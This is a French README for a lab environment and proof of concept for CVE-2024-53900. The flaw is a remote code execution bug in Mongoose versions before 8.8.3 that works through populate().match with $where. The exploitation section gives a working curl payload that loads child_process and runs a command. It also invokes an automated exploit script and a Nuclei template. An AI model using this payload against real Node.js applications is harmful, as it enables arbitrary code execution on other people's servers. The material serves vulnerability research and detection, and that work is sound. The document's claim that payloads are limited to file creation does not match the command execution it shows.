CVE-2024-53900 - Mongoose populate().match $where RCE

Ce dépôt fournit un environnement vulnérable reproductible et un PoC pour CVE-2024-53900, une vulnérabilité critique d'exécution de code à distance (RCE) dans Mongoose < 8.8.3.

📌 Détails de la vulnérabilité

• CVE: CVE-2024-53900
• Versions concernées: Mongoose < 8.8.3
• Sévérité: Critique (CVSS 9.1)
• Vecteur: populate().match combiné avec $where
• Impact: Exécution arbitraire de JavaScript (RCE) dans le contexte Node.js

Références:

• Avis GitHub
• Commit de correctif

🛠️ Instructions de configuration

1. Cloner le dépôt

git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900

2. Lancer l'environnement (Docker Compose)

docker-compose up -d

📌 PoC GUI (Calculatrice)

Par défaut, l'application Node.js vulnérable s'exécute dans Docker.
Cependant, les applications graphiques (comme xcalc ou gnome-calculator) ne se lanceront pas dans un conteneur.

👉 Si vous souhaitez démontrer la RCE en lançant une fenêtre de calculatrice :

1. Exécutez MongoDB dans Docker (comme backend de base de données)

   root@kitploit:~

   docker run -d --name mongo -p 27017:27017 mongo:6
   

2. Exécutez l'application Node.js vulnérable localement

   cd ~/cve-2024/app
   npm install
   node server.js

• MongoDB tourne sur le port 27017
• L'application Node.js vulnérable tourne sur le port 5000

📂 Structure du répertoire

/home/kali/cve-2024/
├── docker-compose.yml     # Environment setup
├── exploit.py             # Automated exploit script
├── CVE-2024-53900.yaml    # Nuclei template
├── README.md              # Documentation
├── app/                   # Vulnerable Node.js app
│   ├── Dockerfile
│   ├── package.json
│   ├── server.js
│   ├── models.js
│   └── views/
└── data/                  # MongoDB volume

🚀 Exploitation

Test manuel

curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"

PoC automatisé

python3 exploit.py --url http://localhost:5000

Avec Nuclei

nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author

🔒 Notes de sécurité

• Pour la recherche et les tests uniquement (pas en production).
• Charge utile limitée à des opérations sûres (par exemple, création de fichiers).
• Entièrement isolé via Docker.

✅ Environnement testé

• OS: Kali Linux
• MongoDB: mongo:6
• Node.js: 18
• Mongoose: 8.5.0 (vulnérable)
• Express: 4.18.2

📸 Démo